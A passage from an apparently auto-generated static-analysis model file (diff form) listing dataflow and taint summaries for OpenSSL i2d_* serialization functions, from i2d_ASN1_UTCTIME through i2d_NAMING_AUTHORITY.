ASN1_UNIVERSALSTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTCTIME", "(const ASN1_UTCTIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_UTF8STRING", "(const ASN1_UTF8STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_VISIBLESTRING", "(const ASN1_VISIBLESTRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_ASN1_bio_stream", "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ASRange", "(const ASRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_INFO_ACCESS", "(const AUTHORITY_INFO_ACCESS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_AUTHORITY_KEYID", "(const AUTHORITY_KEYID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_BASIC_CONSTRAINTS", "(const BASIC_CONSTRAINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CERTIFICATEPOLICIES", "(const CERTIFICATEPOLICIES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ContentInfo", "(const CMS_ContentInfo *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_ReceiptRequest", "(const CMS_ReceiptRequest *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio", "(BIO *,CMS_ContentInfo *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_CMS_bio_stream", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_CRL_DIST_POINTS", "(const CRL_DIST_POINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DHparams", "(const DH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DHxparams", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIRECTORYSTRING", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DISPLAYTEXT", "(const ASN1_STRING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT", "(const DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DIST_POINT_NAME", "(const DIST_POINT_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPrivateKey", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAPublicKey", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_PUBKEY", "(const DSA *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSA_SIG", "(const DSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_DSAparams", "(const DSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, 